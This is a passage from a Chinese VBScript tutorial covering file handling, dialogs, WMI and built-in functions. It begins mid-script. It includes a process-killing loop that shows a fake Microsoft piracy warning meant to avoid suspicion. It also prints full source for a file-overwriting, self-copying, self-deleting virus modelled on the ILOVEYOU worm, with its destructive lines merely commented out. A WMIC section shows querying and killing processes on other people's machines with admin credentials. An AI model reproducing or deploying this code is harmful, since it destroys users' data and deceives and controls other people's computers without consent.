          WScript.Sleep 2000
          wshshell.SendKeys "此處修改為博客帳號"
          wshshell.SendKeys "{tab}"
          wshshell.SendKeys "此處修改為博客密碼"
          wshshell.SendKeys "{enter}"
          'wshshell.SendKeys "%d"
          
          

          Vbs腳本常用的編輯器當然是notapad,不過這個編輯器的功能當然實在是太弱了一點,其實有很多的專用的腳本編輯器可以大大方便vbs腳本的編寫。我常用的有兩種:

          1、VBSEDit漢化版

          2、primalscript漢化版,可以對30多種腳本進行編輯

          Vbs腳本編程簡明教程之十一

          FSO中文件的基本操作

          一、文件屬性:

          在windows中,文件的屬性一般用數(shù)字來表示:

          0代表normal,即普通文件未設(shè)置任何屬性。 1代表只讀文件。

          2代表隱藏文件。 4代表系統(tǒng)文件。 16代表文件夾或目錄。

          32代表存檔文件。 1024代表鏈接或快捷方式。例如:

          set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfile("d:\index.txt") msgbox f.Attributes ‘a(chǎn)ttributes函數(shù)的作用是顯示文件屬性

          需要說明的是:msgbox顯示的結(jié)果往往不是上面說明的數(shù)字,而是有關(guān)屬性代表數(shù)字的和

          二、創(chuàng)建文件:object.createtextfile方法,注意創(chuàng)建前一般需要檢查文件是否存在。

          例如:

          set fso=wscript.createobject("scripting.filesystemobject") 
          if fso.fileexists("c:\kk.txt") then
          msgbox "文件已存在"
          else
          set f=fso.createtextfile("c:\kk.txt") 
          end if
          

          如需要強制覆蓋已存在的文件,則在文件名后加true參數(shù)。

          三、復制、移動、刪除文件:使用copyfile方法、movefile方法、deletefile方法。例如:

          set fso=wscript.createobject("scripting.filesystemobject") 
          fso.copyfile "c:\kk.txt","d:\1\kk.txt",true //如上文說述,true代表強制覆蓋
          fso.movefile "c:\kk.txt", "d:\" //移動文件
          fso.deletefile "c:\kk.txt" //刪除文件
          
          

          四、文件的讀寫:

          1、打開文件:使用opentextfile方法如:set ts=fso.opentextfile("c:\kk.txt",1,true) 說明:第二個參數(shù)為訪問模式1為只讀、2寫入、8為追加第三個參數(shù)指定如文件不存在則創(chuàng)建。2、讀取文件:read(x)讀x個字符;readline讀一行;readall全部讀取如:set ffile=fso.opentextfile("c:\kk.txt",1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall

          3、常見的指針變量:

          atendofstream屬性:當處于文件結(jié)尾的時候這個屬性返回true。一般用循環(huán)檢測是否到達文件末尾。例如:

          do while ffile.atendofstream<>true

          ffile.read(10)

          loop

          atendofline屬性:如果已經(jīng)到了行末尾,這個屬性返回true。

          Column屬性(當前字符位置的列號)和line屬性(文件當前行號):在打開一個文件后,行和列指針都被設(shè)置為1。

          4、在文件中跳行:skip(x) 跳過x個字符;skipline 跳過一行

          5、在文件中寫入字符:可以用2-寫入和8-追加的方式來寫入

          其方法有:write(x)寫入x字符串;writeline(x)寫入x代表的一行

          writeblanklines(n) 寫入n個空行

          注意:最后一定要使用close方法關(guān)閉文件,讀文件后一定要關(guān)閉,才能以寫的方式打開。

          Vbs腳本編程簡明教程之十二

          使用系統(tǒng)對話框

          在VBS腳本設(shè)計中,如果能使用windows提供的系統(tǒng)對話框,可以簡化腳本的使用難度,使腳本人性化許多,很少有人使用,但VBS并非不能實現(xiàn)這樣的功能,方法當然還是利用COM對象。

          1、SAFRCFileDlg.FileSave對象:屬性有:FileName — 指定默認文件名;FileType — 指定文件擴展名;OpenFileSaveDlg — 顯示文件保存框體方法。2、SAFRCFileDlg.FileOpen 對象:FileName — 默認文件名屬性;OpenFileOpenDlg — 顯示打開文件框體方法。3、UserAccounts.CommonDialog對象:Filter — 擴展名屬性("vbs File|*.vbs|All Files|*.*");FilterIndex — 指定InitialDir — 指定默認的文件夾FileName — 指定的文件名Flags — 對話框的類型Showopen方法:

          很簡單,ok,讓我們來舉兩個簡單的例子:

          例一:保存文件

          Set objDialog=CreateObject("SAFRCFileDlg.FileSave")
          Set objFSO=CreateObject("Scripting.FileSystemObject")
          objDialog.FileName="test"
          objDialog.FileType=".txt"
          intReturn=objDialog.OpenFileSaveDlg
          If intReturn Then
          objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
          Else
          Wscript.Quit
          End If
          
          

          注意:1、SAFRCFileDlg.FileSave對象僅僅是提供了一個方便用戶選擇的界面,本身并沒有保存文件的功能,保存文件還需要使用FSO對象來完成。2、用FileType屬性來指定默認的文件類型。3、在調(diào)用OpenFileSaveDlg方法時,最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。

          例二:.打開文件

          set objFile=CreateObject("SAFRCFileDlg.FileOpen")
          intRet=objFile.OpenFileOpenDlg
          if intret then
          msgbox "文件打開成功!文件名為:" & objFile.filename
          else
          wscript.quit
          end if
          
          

          例三:比較復雜的打開文件對話框

          Set objDialog=CreateObject("UserAccounts.CommonDialog")
          objDialog.Filter="vbs File|*.vbs"
          objDialog.InitialDir="c:\"
          tfile=objDialog.ShowOpen
          if tfile then 
          strLoadFile=objDialog.FileName
          msgbox strLoadFile
          else
          wscript.quit
          end if
          
          

          說明:在腳本中加入 objDialog.Flags=&H020 看看會出現(xiàn)什么結(jié)果

          Vbs腳本編程簡明教程之十三——1

          WMI基礎(chǔ)之一

          WMI即Windows 管理規(guī)范,是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配置、管理和監(jiān)視幾乎所有的 Windows 資源。WMI的語法十分簡單,基本上常見的命名空間、對象等用幾乎一模一樣。它對應(yīng)的是Windows里的WMI服務(wù)(winmgmt)。

          一、WMI的起源

          幾年前,幾家資深的計算機公司由于系統(tǒng)管理領(lǐng)域缺少標準,委托DMTF啟動了CIM(通用信息模型)項目,理想的CIM是一種不受限制于任何特定實現(xiàn)環(huán)境的管理工具。WMI是CIM的微軟實現(xiàn),它有很多類是從CIM中派生出來的。

          二、WMI的命名空間

          那么命名空間是做什么作用的呢?我簡單這樣說,在同一段代碼中,如果有兩個變量或函數(shù)的名字完全相同,就會出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務(wù)的。解決的辦法就是將你的變量定義在一個不同名字的命名空間中。就好像財政局有個張三,公安局也有個張三,但我們清楚,就是因為他們分屬不同的單位。有些地方可能不太準確,但大致意思就是這樣了。

          WMI的命名空間創(chuàng)建了一個層次結(jié)構(gòu),有點類似于我們的目錄文件結(jié)構(gòu)。

          1、 root-作為所有其他名字的占位符;2、 root\default-與注冊表操作有關(guān)的類;3、 root\security-與系統(tǒng)安全有關(guān)的類;4、 root\cimv2-從CIM派生的類,代表我們最常用的工作環(huán)境。

          三、WMI的對象路徑

          WMI的對象路徑用來在CIM庫中定位類和它的事例,對象路徑用兩個反斜杠\開頭,第一個元素是目標計算機的名字,第二個元素是相應(yīng)的WMI命名空間,第三個元素是相應(yīng)的類名,并用 : 將它與命名空間分隔開來。例如:\..\root\cimv2:win32_service

          其中那個 . 代表是本地系統(tǒng)。

          四、WMI的查詢語言——WQL僅僅是ANSI SQL的一個子集,只能用于數(shù)據(jù)的提取。

          數(shù)據(jù)、事件查詢的基本語法為:

          Select pro1 , pro2 , pro3 from myclass(myclassevent)

          例如:Select name , path from Win32_share 說明:列出所有共享的名稱和路徑

          也可以使用通配符 * ,例如:Select * from Win32_share

          關(guān)鍵字Where 用于限定查詢的范圍。

          例如:Select * from Win32_share where name="Admin"

          五、WMI腳本中使用的三個步驟

          步驟 1:連接到 WMI 服務(wù)

          在任何 WMI 腳本中,第一個步驟都是建立一個到目標計算機上的 Windows 管理服務(wù)的連接。方法是調(diào)用 VBScript 的 Getobject 函數(shù)并將 WMI 腳本庫的名字對象的名稱(即"winmgmts:",后跟目標計算機的名稱)傳遞到 Getobject,并返回一個對象的引用,此時,您就可以調(diào)用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由資源的類名標識的托管資源的所有實例。

          步驟 2:檢索 WMI 托管資源的實例

          一般采用WQL來實現(xiàn)。

          步驟 3:顯示 WMI 托管資源的屬性

          最后一個步驟是枚舉 檢索得到集合的內(nèi)容。一般采用

          For each enum in myclass

          ……

          Next 結(jié)構(gòu)來實現(xiàn)。

          六、WMI 測試器 (wbemtest.exe)驗證腳本執(zhí)行結(jié)果

          現(xiàn)在,您對可用于瀏覽和查看 CIM 的工具已經(jīng)有了一些認識,讓我們使用 WMI 測試器 (wbemtest.exe) 來檢查 Win32_Process 類定義,以便從在您的本地計算機上運行的進程檢索一些屬性。

          1.打開一個命令提示,鍵入 C:\>wbemtest.exe,按下 Enter 來開始 WMI 測試器工具。請注意,大部分按鈕在主 WMI 測試器窗口上是被禁用的,這說明此時您沒有連接到 WMI。

          2.單擊 "連接"按鈕 連接到本地或遠程計算機上的 WMI 服務(wù)。顯示"連接"對話框,它提供一個標記為 名稱空間 的文本輸入?yún)^(qū)域,該區(qū)域默認值為 root\default。將 名稱空間 區(qū)域的值更改為 root\cimv2,單擊"連接"對話框的 連接 按鈕返回到主 WMI 測試器窗口。

          3.主窗口中左上角的命名空間標識符應(yīng)該顯示為 root\cimv2。請注意,所有的按鈕現(xiàn)在都已啟用,這說明在當前憑據(jù)環(huán)境下,您已經(jīng)成功連接到本地主機上的 WMI。單擊 枚舉類別 打開"超類信息"對話框。

          4.在"超類信息"對話框中,不要填寫 輸入超類別名稱 區(qū)域,單擊 遞歸 選項,單擊 確定 以枚舉 root\cimv2 名稱空間中定義的所有 CIM 類。

          請注意,列于"查詢結(jié)果"對話框頂部的類是以兩個下劃線為開頭的。這些是系統(tǒng)類。系統(tǒng)類是預定義的 CIM 類,支持內(nèi)部 WMI 配置與操作,例如提供程序注冊、命名空間安全性及事件通知等。現(xiàn)在,忽略系統(tǒng)類,向下滾動"查詢結(jié)果"對話框直至看到以 CIM_ 開頭的類。名稱以 CIM_ 開頭的類是由 DMTF 維護的核心與公共基類。繼續(xù)向下滾動直至到達以 Win32_ 開頭的類。 名稱以 Win32_ 開頭的類是 Microsoft 擴展類,表示 Windows 特定的托管資源。如果這是您第一次檢查 root\cimv2 命名空間,您可能希望熟悉root\cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。

          5.向下滾動"查詢結(jié)果"對話框直至到達 Win32_Process 類,雙擊該類名打開 Win32_Process 對話框的對象編輯器。

          6."對象編輯器"對話框顯示被選定類的定義和實現(xiàn)的詳細信息(屬性和方法)。選擇 Hide System Properties 復選框隱藏系統(tǒng)屬性。剩余的 Win32_Process 屬性表示您可以從在本地或遠程計算機上運行的進程檢索的信息。

          運行如下代碼:

          strComputer="." 
          Set wbemServices=Getobject("winmgmts:\\" & strComputer)
          Set wbemObjectSet=wbemServices.InstancesOf("Win32_Process")
          For Each wbemObject In wbemObjectSet
           WScript.Echo "Name:  " & wbemObject.Name & vbCrLf & _
             " Handle: " & wbemObject.Handle & vbCrLf & _
             " Process ID: " & wbemObject.ProcessID
          Next
          
          

          7.在運行腳本之后,您可以用 WIMI 測試器驗證腳本的結(jié)果。在 Win32_Process 對話框的對象編輯器中,單擊 Instances。產(chǎn)生的查詢結(jié)果對話框列出在計算機上運行的進程的實例。雙擊一個指定的進程實例,查看該實例的詳細信息。

          Vbs腳本編程簡明教程之十三——2

          WMI基礎(chǔ)之二—阻止客人運行你不想運行的程序

          很多人都有這樣的經(jīng)驗,剛剛裝好的系統(tǒng),讓人運行了一些你不想他運行的程序,比如說QQ,又是聊天,又是下載表情,不過一會,流氓插件、病毒、木馬已經(jīng)盤踞了你的計算機,常常是忍痛將這個程序卸載,可是不知情的人很自覺的下載安裝,使整個系統(tǒng)無法正常運行。

          其實用vbs和wmi結(jié)合起來,使你的計算機上有相應(yīng)的程序安裝,別人又無法運行起來太容易了,現(xiàn)在給出代碼:

          On Error Resume Next '忽略所有的錯誤
          Dim bag,pipe,honker,good 
          Do 
          good="." '定義為本地計算機
          set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l連接到cimv2命名空間
          set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看,這是我的計算機上不允許運行的程序,qq、qqgame、winmine(掃雷)如果你還有其他的程序不允許運行,很簡單,在其中添加 or name='你不允許運行的程序名'
          for each i in pipe
          i.terminate() 
          msgbox "發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進行功能限制!" & vbcrlf & "請使用正版軟件!",,"微軟提示" '此行其實可有可無,有這行只是為了免去懷疑
          next 
          wscript.sleep 60000 '每1分鐘檢測一次
          loop
          
          

          那么如果我自己想運行這些程序該怎么辦呢,很簡單,Ctrl+Alt+Del三個鍵齊按,打開windows任務(wù)管理器,在進程中結(jié)束Wscript.exe和wmiprvse.exe進程的運行就可以了

          Vbs腳本編程簡明教程之十四

          使用dictionary對象

          VBS中存在一個特殊的對象-dictionnary,是一個集合對象。一般情況霞,我把這個特殊的集合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲和操縱數(shù)據(jù)等基本任務(wù),無須擔心數(shù)據(jù)是在哪些行列,而是使用唯一的鍵進行訪問或者是一個只能運行在內(nèi)存中的數(shù)據(jù)庫,并只有兩個字段分別是:key和item,在使用中,字段key是索引字段。

          set sdict=CreateObject("Scripting.Dictionary")
          sdict.add "a","apple"
          sdict.add "b","banana"
          sdict.add "c","copy"
          for each key in sdict.keys
          msgbox "鍵名" & key & "是" & "=" & sdict (key)
          next
          sdict.removeall
          
          

          這個腳本很簡單,就是定義了一個 dictionary 對象的實例sdict,并加入了三條數(shù)據(jù),然后對每一條數(shù)據(jù)進行了枚舉,最后,將對象的實例清空。

          Dictionary 對象的成員概要

          屬性和說明

          CompareMode 設(shè)定或返回鍵的字符串比較模式Count 只讀。返回 Dictionary 里的鍵/條目對的數(shù)量Item(key) 設(shè)定或返回指定的鍵的條目值Key(key) 設(shè)定鍵值

          方法和說明

          Add(key,item) 增加鍵/條目對到 DictionaryExists(key) 如果指定的鍵存在,返回 True,否則返回 FalseItems() 返回一個包含 Dictionary 對象中所有條目的數(shù)組Keys() 返回一個包含 Dictionary 對象中所有鍵的數(shù)組Remove(key) 刪除一個指定的鍵/條目對RemoveAll() 刪除全部鍵/條目對Vbs腳本編程簡明教程之十五——1VBS內(nèi)置函數(shù)之一Abs 函數(shù):返回數(shù)的絕對值。 Array 函數(shù):返回含有數(shù)組的變體。 Asc 函數(shù):返回字符串首字母的 ANSI 字符碼。 Atn 函數(shù):返回數(shù)值的反正切。 CBool 函數(shù):返回已被轉(zhuǎn)換為 Boolean 子類型的變體的表達式。 CByte 函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達式。 CCur 函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達式。 CDate 函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達式。 CDbl 函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達式。 Chr 函數(shù):返回與指定的 ANSI 字符碼相關(guān)的字符。 CInt 函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達式。 CLng 函數(shù);返回已被轉(zhuǎn)換為Long子類型的變體的表達式。 Cos 函數(shù):返回角度的余弦。 CreateObject 函數(shù):創(chuàng)建并返回對"自動"對象的引用。 CSng 函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達式。 CStr 函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達式。 Date 函數(shù):返回當前系統(tǒng)日期。 DateAdd 函數(shù):返回的日期已經(jīng)加上了指定的時間間隔。 DateDiff 函數(shù):返回兩個日期之間的間隔。 DatePart 函數(shù):返回給定日期的指定部分。 DateSerial 函數(shù):返回指定年月日的日期子類型的變體。 Datevalue 函數(shù):返回日期子類型的變體。 Day 函數(shù):返回日期,取值范圍為 1 至 31。 Eval 函數(shù):計算表達式并返回結(jié)果。 Exp 函數(shù):返回 e (自然對數(shù)的底) 的多少次方。 Filter 函數(shù):根據(jù)指定的篩選條件,返回含有字符串數(shù)組子集的、下限為 0 的數(shù)組。 Fix 函數(shù):返回數(shù)的整數(shù)部分。 FormatCurrency 函數(shù):返回的表達式為貨幣值格式,其貨幣符號采用系統(tǒng)控制面板中定義的。 FormatDateTime 函數(shù):返回的表達式為日期和時間格式。 FormatNumber 函數(shù):返回的表達式為數(shù)字格式。 FormatPercent 函數(shù):返回的表達式為百分數(shù)(乘以 100)格式,后面有 % 符號。 GetObject 函數(shù):返回從文件對"自動"對象的引用。 GetRef 函數(shù):返回對能夠綁定到一事件的過程的引用。 Hex 函數(shù):返回一字符串,代表一個數(shù)的十六進制值。 Hour 函數(shù):返回表示鐘點的數(shù)字,取值范圍為 0 至 23。 InputBox 函數(shù):在對話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。 InStr 函數(shù):返回一個字符串在另一個字符串中首次出現(xiàn)的位置。 InStrRev 函數(shù);返回一個字符串在另一個字符串中出現(xiàn)的位置,但是從字符串的尾部算起。VBS內(nèi)置函數(shù)之二Int 函數(shù):返回數(shù)的整數(shù)部分。 IsArray 函數(shù):返回 Boolean 值,反映變量是否為數(shù)組。 IsDate 函數(shù):返回 Boolean 值,反映表達式能否轉(zhuǎn)換為日期。 IsEmpty 函數(shù):返回 Boolean 值,反映變量是否已被初始化。 IsNull 函數(shù):返回 Boolean 值,反映表達式是否含有無效數(shù)據(jù)(Null)。 IsNumeric 函數(shù):返回 Boolean 值,反映表達式能否轉(zhuǎn)換為數(shù)字。 IsObject 函數(shù):返回 Boolean 值,反映表達式是否引用了有效的"自動"對象。 Join 函數(shù):返回通過連接許多含有數(shù)組的子串而創(chuàng)建的字符串。 LBound 函數(shù);返回指定維數(shù)數(shù)組的最小有效下標。 LCase 函數(shù):返回的字符串已被轉(zhuǎn)換為小寫字母。 Left 函數(shù):返回字符串最左邊的指定數(shù)量的字符。 Len 函數(shù):返回字符串中的字符數(shù)或存儲變量所需的字節(jié)數(shù)。 LoadPicture 函數(shù):返回圖片對象。只用于 32 位平臺。 Log 函數(shù):返回數(shù)的自然對數(shù)。 LTrim 函數(shù);返回去掉前導空格的字符串。 Mid 函數(shù):從字符串中返回指定數(shù)量的字符。 Minute 函數(shù):返回分鐘數(shù),取值范圍為 0 至 59。 Month 函數(shù):返回表示月份的數(shù),取值范圍為 1 至 12。 MonthName 函數(shù):返回表示月份的字符串。 MsgBox 函數(shù):在對話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。 Now 函數(shù):返回計算機的當前系統(tǒng)日期和時間。 Oct 函數(shù):返回表示該數(shù)八進制數(shù)值的字符串。 Replace 函數(shù):返回一字符串,其中指定的子串已被另一個子串替換了規(guī)定的次數(shù)。 RGB 函數(shù):返回代表 RGB 顏色值的數(shù)字。 Right 函數(shù):返回字符串最右邊的指定數(shù)量的字符。 Rnd 函數(shù):返回隨機數(shù)。 Round 函數(shù):返回指定位數(shù)、四舍五入的數(shù)。 RTrim 函數(shù):返回去掉尾部空格的字符串副本。 ScriptEngine 函數(shù):返回反映使用中的腳本語言的字符串。 ScriptEngineBuildVersion 函數(shù):返回使用中的腳本引擎的編譯版本號。 ScriptEngineMajorVersion 函數(shù):返回使用中的腳本引擎的主版本號。 ScriptEngineMinorVersion 函數(shù):返回使用中的腳本引擎的次版本號。 Second 函數(shù):返回秒數(shù),取值范圍為 0 至 59。VBS內(nèi)置函數(shù)之三Sgn 函數(shù):返回反映數(shù)的符號的整數(shù)。Sin 函數(shù):返回角度的正弦值。Space 函數(shù):返回由指定數(shù)量的空格組成的字符串。Split 函數(shù):返回下限為 0 的、由指定數(shù)量的子串組成的一維數(shù)組。Sqr 函數(shù):返回數(shù)的平方根。 StrComp 函數(shù):返回反映字符串比較結(jié)果的數(shù)值。String 函數(shù):返回指定長度的重復字符串。StrReverse 函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。Tan 函數(shù):返回角度的正切值。Time 函數(shù):返回表示當前系統(tǒng)時間的"日期"子類型的"變體"。Timer 函數(shù):返回時經(jīng)子夜 12:00 AM 后的秒數(shù)。TimeSerial 函數(shù):返回含有指定時分秒時間的日期子類型的變體。Timevalue 函數(shù):返回含有時間的日期子類型的變體。Trim 函數(shù):返回去掉前導空格或尾部空格的字符串副本。TypeName 函數(shù):返回一字符串,它提供了關(guān)于變量的變體子類型信息。UBound 函數(shù):返回指定維數(shù)數(shù)組的最大有效下標。UCase 函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫字母。VarType 函數(shù):返回標識變體子類型的數(shù)值。Weekday 函數(shù):返回表示星期幾的數(shù)值。WeekdayName 函數(shù):返回表示星期幾的字符串。Year 函數(shù):返回表示年份的數(shù)值。vbs病毒的簡單例子源代碼解析

          說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執(zhí)行之后,會尋找硬盤上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個相同文件名但后帶.vbs的文件。因此,請注意設(shè)立好破壞測試條件,千萬不要對他人進行測試,否則,一切后果自負。

          dim folder,fso,foldername,f,d,dc 
          set fso=createobject("scripting.filesystemobject") 
          set self=fso.opentextfile(wscript.scriptfullname,1) 
          vbscopy=self.readall '讀取病毒體,以備復制到文件 
          self.close 
          set dc=fso.Drives 
          for each d in dc 
          if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型 
          wscript.echo d '彈出窗口,顯示找到盤符 
          scan(d) 
          end if 
          next 
          lsfile=wscript.scriptfullname '該腳本程序路徑 
          set lsfile=fso.getfile(lsfile) 
          lsfile.delete(true) '病毒運行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼) 
          sub scan(folder_) 
          on error resume next 
          set folder_=fso.getfolder(folder_) 
          set files=folder_.files 
          for each file in files 
          ext=fso.GetExtensionName(file) '獲取文件后綴 
          ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母 
          if ext="mp5" then '如果后綴名是mp5,當然不存在這種文件,這里可以自己修改,但是注意。請自己建立相應(yīng)后綴名的文件,最好是非正常后綴名 
          set ap=fso.opentextfile(file.path,2,true) 
          ' ap.write vbscopy '覆蓋文件,慎用 
          ap.close 
          set cop=fso.getfile(file.path) 
          cop.copy(file.path & ".vbs") '創(chuàng)建另外一個病毒文件 
          ' file.delete(true) '刪除原來文件 
          end if 
          next 
          set subfolders=folder_.subfolders 
          for each subfolder in subfolders '搜索其他目錄 
          scan(subfolder) 
          next 
          end sub 
          
          

          Vbs腳本編程簡明教程補充讀物-初窺WMI

          今天,我將給大家介紹個朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理規(guī)范。從Windows 2000開始,WMI(Windows 管理規(guī)范)就內(nèi)置于操作系統(tǒng)中,并且成為了Windows系統(tǒng)管理的重要組成部分。所以大家很容易就能見到它的,因為我們至少也應(yīng)該是個Windows 2000的使用者了。下面我將詳細介紹它的每個細節(jié),讓你從不認識它到喜歡上它。

          WMI能做什么?

          WMI不僅可以獲取想要的計算機數(shù)據(jù),而且還可以用于遠程控制。遠程控制計算機可是大家都喜歡的東西。很多遠程監(jiān)視控制類軟件通常的做法是:在遠程計算機上運行服務(wù)端后臺程序,在本地計算機上運行一個客戶器端控制程序,通過這二個程序的勾結(jié)來實現(xiàn)對計算機的遠程控制。這種作法的缺點是十分明顯的,當服務(wù)端程序關(guān)了,這種遠程監(jiān)控就無法實現(xiàn)了,因為沒有內(nèi)線了。而WMI實現(xiàn)的遠程監(jiān)視和控制完全不需要另外裝什么服務(wù)端的東西,系統(tǒng)默認就將WMI服務(wù)給開了。具體說來,WMI的本領(lǐng)如下:

          1.獲取本地和遠程計算機的硬件軟件信息。2.監(jiān)視本地和遠程計算機的軟件和服務(wù)等運行狀況。3.控制本地和遠程計算機的軟件和服務(wù)運行。4.高級應(yīng)用。

          如何訪問WMI?

          當我們知道WMI的某些本領(lǐng)后,我們已經(jīng)很想知道如何認識他并利用他了。利用WMI有許多途徑,簡單說來有三種了:

          1.通過微軟給我們提供的各種工具來實現(xiàn)普通查詢和操作。主要包括命令提示符下面的WMIC,還有就是微軟給我們提供的WMI TOOL,大家可以到微軟的網(wǎng)站上免費下載,當然我也可以給大家免費提供。

          2.通過自己編寫腳本來實現(xiàn)更靈活操作。要想真正靈活實用,對WSH腳本的熟悉是必須的,當然如果你不熟悉也沒有關(guān)系,稍后我會給大家詳細解釋的。

          3. 通過編寫我們自己的程序來訪問并操作它。什么語言都行。如果用.NET類程序要簡單些了,如果用VC等要復雜些了,起碼我是這么認為的。

          4.還有個訪問它的方法,就是到它的一個巢穴。在C:\WINDOWS\system32\wbem目錄中的東西都和它有密切聯(lián)系,有日志和各種工具,在里面你可以找到很多答案的。不過這些東西一般都不適合我們新手玩了,感覺有點嚇人。

          我們今天的任務(wù)?

          今天我們的任務(wù)有五個:

          任務(wù)一:利用WMIC列出遠程計算機上的所有進程。任務(wù)二:利用WMIC關(guān)閉本地進程。任務(wù)三:通過WMIC把遠程主機的進程信息保存在一個網(wǎng)頁中任務(wù)四:利用腳本實時監(jiān)視對方進程任務(wù)五:利用腳本給對方開放共享

          查看和監(jiān)視進程,還要把進程給殺掉,最后還要給對方開個共享,我們這位朋友快把壞事做盡了。明白了我們的任務(wù),我們就可以上路了。這次我們將主要借助WMIC和腳本來實現(xiàn)我們的任務(wù),所以我們將主要分為兩大部分來講解。在五個任務(wù)的實戰(zhàn)中我們將更加深入地理解它,沒有基礎(chǔ)沒有關(guān)系,我將盡力去解釋所有的所謂的基礎(chǔ),讓大家能很輕松地和這位朋友交流。

          第一部分:利用WMIC來認識WMI

          WMIC是Windows Management Instrumentation Commandline的簡稱,WMIC擴展WMI,提供了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。為WMI名稱空間提供了一個強大的、友好的命令行接口。有了WMIC,WMI就顯的平易近人了。

          執(zhí)行"WMIC"命令將啟動WMIC命令行環(huán)境。第一次執(zhí)行WMIC命令時,Windows首先要安裝WMIC,然后顯示出WMIC的命令行提示符。在WMIC命令行提示符上,命令將以交互的方式執(zhí)行。如果你不知道該如何和它交互,請敲個"/?",細細看完全部的說明,你就知道了。WMIC也可以按照非交互的模式運行。如果要執(zhí)行某個單步的任務(wù),或者運行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一個命令行上啟動WMIC并輸入要執(zhí)行的命令就可以了。

          1.任務(wù)一:利用WMIC列出遠程計算機上的所有進程

          這是一個實現(xiàn)起來很簡單的任務(wù),和你用一個DOS命令一樣簡單,因為我們要循序漸進嘛,所以安排了這么一個熱身任務(wù)。在命令提示符下敲入下面的命令,我們將看到。

          WMIC /node:192.168.1.2 /user:net process

          解說:

          1)上面命令中的NODE和USER是全局開關(guān)。如果你不愿意另外輸一次密碼,你也可以用PASSWORD開關(guān),后面寫上密碼就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千萬要注意,這里的用戶名和密碼都必須是管理員級別的,其它的無效。WMIC提供了大量的全局開關(guān)、別名、動詞、命令和豐富的命令行幫助增強用戶接口。全局開關(guān)是用來配置整個WMIC會話的選項。

          2)Process是個別名,執(zhí)行了一個Win32_process類的WQL查詢,至于說是WMI的類是什么東西,感興趣的就自己找資料多多了解,如果你很懶的話,就等我有時間給你開課講解。別名是用戶和WMI名稱空間一個簡化語法的中間層。當你指定一個別名時,動詞(Verb)表示要執(zhí)行的動作。

          3)如果你愿意,你可以在該后面加上個動詞等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),這樣你就看得更清楚了。

          小提示:安裝了WMIC的機器可以連接到任何一臺安裝了WMI的機器,被連接的機器不需要安裝WMIC。

          2.任務(wù)二:利用WMIC關(guān)閉本地進程

          執(zhí)行下面的命令將關(guān)閉正在運行的QQ。我比較膽小,所以不敢關(guān)別人的QQ,只能拿我的QQ試驗了,如果你的智商還夠用的話,膽子比較大的話,你很快就會去關(guān)別人的了。

          WMIC

          process where name="qq.exe" call terminate

          解說:

          1)這次我們是用交互式的方法來執(zhí)行任務(wù),具體界面我就不多說了,圖上畫的比我說的好多了。

          2)Call也是個動詞,這個動詞可是厲害了,控制類的沒有不用它的,它就是可以調(diào)用各種類的各種方法的大將。這里我們調(diào)用了terminate方法。從字面上你就可以看出是惡狠狠的。

          3)Where能夠讓你查詢和篩選。在超級多的實例中找到你想要的。實例就是指每個類的具體實現(xiàn)了。前面的例子中看到的各個進程都分別算是WIN32_PROCESS中的一個實例。

          3.任務(wù)三:通過WMIC把遠程主機的進程信息保存在一個網(wǎng)頁中

          這個任務(wù)和任務(wù)一中的大致相同,是任務(wù)一的加強。在任務(wù)一中信息以文本的形式顯示出來了。其實除了文本形式的輸出之外,WMIC還能夠以其他形式返回命令執(zhí)行結(jié)果,例如XML、HTML或者CSV(逗號分隔的文本文件),如圖3所示。我們可以敲入下面的命令:

          wmic /output:C:.html /node:192.168.1.2 /user:net process list full /format:hform.xsl

          輸入密碼 :******

          解釋:

          1)全局開關(guān)OUTPUT指明將這些信息保存在什么地方。

          2)全局開關(guān)FORMAT指明了用什么樣的格式,至于說有那些格式可以用,你可以參看C:\WINDOWS\system32\wbem目錄中的*.xsl文件,你甚至不用管它們從哪里來的,用就是了。挨著看看,一定可以找到你喜歡的。

          第二部分:利用腳本來認識WMI

          命令提示符的工具確實好用,但是卻顯示不出我們是高手,高手都是能利用程序來實現(xiàn)目的的。下面我們就開始用腳本來實現(xiàn)我們的任務(wù),功能將更加強大,操作將更加靈活。

          無論腳本還是真正意義上的程序,要檢索 WMI 托管資源信息進而查詢并利用WMI,都需要遵循以下三個步驟的。

          1.連接到 WMI 服務(wù)。建立一個到目標計算機上的 Windows 管理服務(wù)的連接。2.檢索 WMI 托管資源的實例。主要取決于要執(zhí)行的任務(wù)。3.顯示W(wǎng)MI 某實例屬性和調(diào)用其方法。

          1.任務(wù)四:利用腳本實時監(jiān)視對方進程

